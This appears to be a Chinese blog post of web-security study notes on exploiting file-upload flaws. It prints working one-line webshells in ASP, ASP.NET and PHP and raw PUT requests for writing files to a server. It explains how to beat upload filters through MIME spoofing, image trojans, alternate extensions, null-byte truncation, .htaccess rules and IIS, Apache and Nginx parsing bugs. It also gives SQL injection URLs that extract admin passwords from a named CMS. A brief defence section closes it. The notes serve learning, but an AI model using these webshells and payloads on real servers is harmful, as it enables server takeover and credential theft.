zoukankan      html  css  js  c++  java
  • 网络安全学习笔记:文件上传

    文件上传

    1、一句话木马

    ASP:
    <%eval request("cmd")%>
    ​
    ASP.NET:
    <%@ Page Language="Jscript"%>
    <%eval(request.Item["cmd"],"unsafe");%>
    ​
    PHP:
    <?php @eval($_REQUEST['cmd']);?>
    中国菜刀与一句话木马配合实现了三大基本功能:文件管理、虚拟终端、数据库管理

    2、PUT 方法

    PUT 方法上传文件

    HTTP 请求方法之一,允许向服务器直接写入文件
    测试Apache 是否开启了put 方法
    telnet 192.168.1.200 80
    OPTIONS / HTTP/1.1
    HOST:192.168.1.200

    apache 开启put 方法操作
    httpd.conf 文件
    phpstudy 目录:C:phpStudyApacheconfhttpd.conf
    开启dav模块、启用模块、开启文件锁

    image-20201106115030933image-20201106115147907

    上传文件

    http报头(手动输入可以成功)
    telnet 192.168.1.200 80
        PUT /info.php HTTP/1.1
        HOST:192.168.1.200
        Content-Length:18
     
        <?php phpinfo();?>

    3、服务端检测--MIME

    在HTTP 协议中,使用Content-Type 字段
    服务器端会检测Content-Type 类型,由于服务器在检测Content-Type 类型的时候,取得的变量来自用户,故我们仍可以通过bp抓包,修改这个字段,使其合法,即可绕过限制上传任意文件
    文件扩展名MIME-TYPE
    .js application/x-javascript
    .html text/html
    .jpg image/jpeg
    .png image/png
    .pdf application/pdf

    4、服务端检测

    1、文件内容

    除了检测上传文件的Content-Type 类型,为了保持安全性,服务器端还会检测文件内容。PHP 中有一个函数getimagesize(),这个函数本意是检查图片的大小,但是在检查之前该函数会判断目标文件是否为一张图片。因此,可以用该函数来检测文件的内容
    
    	对于文件内容的检测,我们可以通过上传图片木马绕过
    		木马图片的制作
    		1、GIF89a+换行+一句话木马
    		2、文件合成
    			copy t7c.jpg/b+info.php/a test_info.jpg
    		3、利用属性
    			属性-->详细信息
    		4、16进制编辑器---文件幻术
    	所有的Jpg图片的文件头部都是相同的,png和gif图片也是一样
    	以下是16进制,需要转换为ASCII码,文件名后缀为php
    png    89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
    jpg    FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c
    gif    47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33

    2、文件后缀

    黑名单
    对于黑名单,我们可以寻找其他允许上传的类型来绕过限制
    	可以执行脚本后缀名
        .php .php2 .php3 .php5 .phtml
        .asp .aspx .ascx .ashx .asa    .cer
        .jsp .jspx
    白名单
    对于后缀名白名单策略,我们只能通过上传白名单内的文件后缀名。

    3、00截断

    00就是Null(空字符)字符,URL中表现为%00,00截断会导致文件上传路径截断---php读取文件的函数是利用C语言实现的,继承C语言的特性,C语言在定义字符串从第一个字符开始不知道字符串到什么位置结束(C语言规定到从第一个字符开始读,读到空字符时,字符串结束,不在往后读取)
    	在上传文件是,修改http头部文件路劲
    	关于文件路径

    4、.htaccess攻击

     .htaccess 是Apache 服务器的分布式配置文件,该配置文件会覆盖Apache 服务器的全局配置,作用域是当前目录及其子目录。
     <Directory "...WWW">
     	AllowOverride ALL
     
    	将.png 文件当作PHP 文件解析
    	将以下代码写入文件,并保存成.htaccess,放到测试目录下
    		AddType application/x-httpd-php .png
    	文件名中包含php 关键字
     	当文件名infophp.png]中包含关键字php,并且.htaccess 文件内容如下,infophp.png 中的代码会被执行
    		AddHandler php5-script php
    	匹配文件名aject, 找到该文件,并执行其中的PHP 代码
    		<FilesMatch "ajest">
    		SetHandler application/x-httpd-php
    		</FilesMatch>

    5、Web容器解析漏洞

    1、Apache解析漏洞

    Apache解析漏洞---古老
    info.php.xxx.xx.x

    2、IIS6.0 解析漏洞

     asp;1.jpg
         time.asp;1.jpg 
     1.asp/time.jpg

    3、PHP CGI 解析漏洞

    IIS7.0/7.5解析漏洞
    	IIS7.0/7.5+PHP 
    	上传info.png
    	在路径后加上/.php
    
    解决方法
    	IIS管理器-->处理程序映射-->找到php映射模块-->编辑模块映射-->编辑--> 请求限制-->映射-->仅当请求映射至以下内容时才调用处理
    	
    Nginx 解析漏洞
    	/info.png/1.php
    	
    以上漏洞均和 php配置cgi.fix_pathinfo=1有关,修改为0解决

    4、Nginx 空字节漏洞

    localhost/info.html%00.php

    5、Nginx 文件名逻辑漏洞

    CVE-2013-4745
    
    上传png文件-->抓包-->读取png文件
    	抓包-->重发模块-->在http头部在请求路径后+空格..php
    	此时请求404-->打开Hex-->修改2e(.)为空字节(00)-->go

    6、常见的编器上传

    编辑器就是网站后台编辑网页的在线编辑器,会自动集成文件上传功能,这些编辑器的某些版本也存在文件上传漏洞
        ewebeditor
        fckeditor

    7、变量覆盖

    变量覆盖漏洞	metinfov5.0.4
    -------------
    $name="HELLOWORD!";
    //?name=AJEST
    foreach($_GET as $key=>$val){
        $$key=$val;//$name=AJEST;
    }
    var_dump($name);
    -------------
    通过变量覆盖漏洞,可以修改Web 应用的参数

    8、经典CMS漏洞

    南方数据管理系统

    注入点
    /news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&;otype=title&;Submit=%CB%D1%CB%F7
     /NewsType.asp?SmallClass='%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20selecct%20*%20from%20news%20where%201=2%20and%20''='
    登录后台-->图片上传-->抓包该类型-->利用数据库备份重命名
     利用数据库备份getshell|另存|自定义文件的名字

    metinfov5.0.4

    变量覆盖漏洞
    $name="HELLOWORD!";
    //?name=AJEST
    foreach($_GET as $key=>$val){
        $$key=$val;//$name=AJEST;
    }
    var_dump($name);
    -------------
    将GET、POST、Cookie方式传递过来的注册成全局变量,这个全局变量会覆盖原来变量的值
    通过变量覆盖漏洞,可以修改Web 应用的参数

    9、防御

    代码角度
    	采用白名单策略,严格限制上传文件的后缀名。
    	进行二次渲染,过滤掉图片木马中的恶意代码。
    	将用户上传文件改名存放,包括文件名及其扩展名,并将其存放路径和文件名存放在数据库中。系统使用文件时,通过查询数据库动态获取。
    	使用随机数改写文件名和路径
    
    设置权限
    	限制上传目录下拥有的执行权限
    
    单独设置文件服务器的域名
  • 相关阅读:
    Fanvas是一个把swf转为html5 canvas动画的系统
    截取中文字符防止乱码
    手机号码验证--区号验证--电话号验证--分机号验证--手机号和固定电话二选一--用户名只能为汉字或者英文请--邮箱账号
    laravel5.4学习--laravel基本路由
    laravel5.4学习--laravel目录结构
    laravel5.4学习--laravel安装
    laravel数据迁移
    laravel数据迁移的时候遇到的字符串长度的问题
    TcxLookupComboBox
    Tcxgrid使用例子
  • 原文地址:https://www.cnblogs.com/Xshun-z/p/13957317.html
Copyright © 2011-2022 走看看